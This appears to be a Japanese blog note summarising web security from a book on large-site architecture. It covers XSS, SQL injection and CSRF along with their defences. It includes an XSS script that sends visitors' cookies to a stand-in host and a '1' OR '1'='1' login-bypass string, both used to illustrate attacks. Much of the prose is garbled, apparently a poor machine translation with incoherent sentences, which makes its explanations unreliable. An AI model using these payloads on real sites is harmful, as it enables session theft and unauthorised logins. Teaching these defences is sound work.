序文
私は、「大規模なWebサイトの技術フレームワーク、」5つの建築要素がZhihuiの先生の本を説明した本を配置し、この鶏肉料理の前に読んでノートを持っていました。これらの5つの要因は、パフォーマンス、可用性、柔軟性、拡張性、セキュリティ。本論文では、セキュリティコンテンツの要素の簡単な議論は非常に個人的にこの本は技術アーキテクチャの導入として存在すると言うことができると思い、この本をお勧めします(本書「大規模なWebサイトの技術フレームワーク」からの主な参照であります)。
いわゆるセキュリティ手段、信頼性の高い応答性を持っているさまざまな攻撃への対応システムが必要です。
この紙櫛いくつかの一般的な攻撃手法だけでなく、守備の対応する手段。
クロスサイトスクリプティング攻撃(XSS)
XSS(クロスサイトスクリプティング、XSS) 、あなたができるコードが表示されたページの中に注入されるようなコードに含まれるHTMLとJavaScriptを
I.攻撃
例えばフォーラムのサイトがあり、攻撃者は、上記の中で次のように公開することができます。
<script>location.href="//domain.com/?c=" + document.cookie</script>
コンテンツは、以下の形式にレンダリングすることができる後。
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
別のユーザーが、このコンテンツを含むページがにジャンプしますブラウズdomain.comとクッキーの現在のスコープを運びます。クッキーマネージャのユーザーによるフォーラムのウェブサイトは、ログインしている場合、攻撃者がこのクッキーを使用してログインすることができ、攻撃者のアカウントです。
第二に、危害
- ユーザーのクッキーを盗みます
- カンニングするために虚偽の個人情報入力フォームを鍛造
防衛の第三に、手段
1.消毒
濾過及び消毒、すなわち特定のHTMLは、例えば、危険な文字をエスケープする場合にXSS攻撃は、一般的に '、このような攻撃は、これらのスクリプトは、一般に、ユーザ入力のために使用されていないリクエストに悪意のあるスクリプトオブジェクトによって取り付けられています< 'エスケープ' &LT '; '>' エスケープ&GT' HTMLとJavaScriptコードの動作を回避します。
消毒ほぼすべてのサイトに必要な抗XSS攻撃。
2。HTTPのみ
HttpOnlyの設定のクッキーができるJavaScriptのスクリプトの呼び出しを防ぐためには、ユーザーのクッキー情報document.cookieを取得することはできません。
SQLインジェクション攻撃
悪意のある攻撃者は、サーバーが要求パラメータデータベースのSQLコマンドで設定され、HTTPリクエストにSQLコマンドを注入し、SQLを一緒に構成され、データベース内で実行悪意のある。
I.攻撃
たとえば、ウェブサイトのログイン認証SQLクエリのコードは次のとおりです。
sql = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
次に記入した場合:
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
その後、SQLクエリ文字列:
sql = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
この時点で、認証なしで次のクエリを実行することができます。
sql = "SELECT * FROM users;"
第二防衛手段
1.消毒
そして、抗XSS攻撃は、リクエストパラメータの消毒は、比較的単純で、粗が、有効な手段です。タイミングを一致させることによって、フィルタは、「ドロップテーブル」など、SQLインジェクションにデータを要求することができます。
2.パラメータバインディング
JavaのPreparedStatementのではプリコンパイルされたSQL文で、あなたは適切なパラメータと複数の実行を渡すことができます。無綴じ処理がないので、SQLインジェクションが発生しないようにすることができます。
PreparedStatement ps = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
ps.setString(1, userid);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();
クロスサイトリクエストフォージェリ(CSRF)
CSRF(クロスサイトリクエストフォージェリ、CSRF)、彼らが認定されているウェブサイトにアクセスして(例えば、電子メール、メッセージング、さらには不動産事業として、いくつかのアクションを実行するために、ユーザーのブラウザを欺くためにいくつかの技術的手段による攻撃そのような転送と購入)など。ブラウザが認定されているので、そのサイトにアクセスしていると思うが離れて操作を実行する実際のユーザーです。
XSSは、ユーザーがサイトを指定した信頼関係を悪用し、CSRFは、信頼のWebサイトのユーザーのブラウザを利用します。
防衛の手段
1.フォームトークン
サーバーは、フォームで乱数を生成し、取り付け、および乱数を返すために、クライアントが必要です。
2. PINを入力します。
ユーザーが無意識ときCSRF攻撃が発生するので、ユーザーが操作を行っていることを知ることができます確認コードを入力して、ユーザーが必要です。
3. Refererヘッダフィールドをチェック
Refererヘッダフィールドは、HTTPパケット、要求の送信元を特定のアドレスに配置されています。このヘッダフィールドをチェックして、同じドメイン名の下で要求元の要件に対応する、それが大幅にCSRF攻撃を防ぐことができます。
このアプローチは単純で、低ワークロードは、唯一の場所における重要なステップの検証へのアクセスを増やす必要があります。しかし、このアプローチは、理由のブラウザに完全に依存して正しいのRefererフィールドを送信しての、その制限があります。このコンテンツ分野が明確に定義されていますが、訪問ブラウザの実現を保証するものではありませんHTTPプロトコルが、またブラウザにはセキュリティの脆弱性は、この分野に影響を与えないことを保証することはできません。そして、彼らのRefererフィールドを改ざん、一部のブラウザの攻撃があるかもしれません。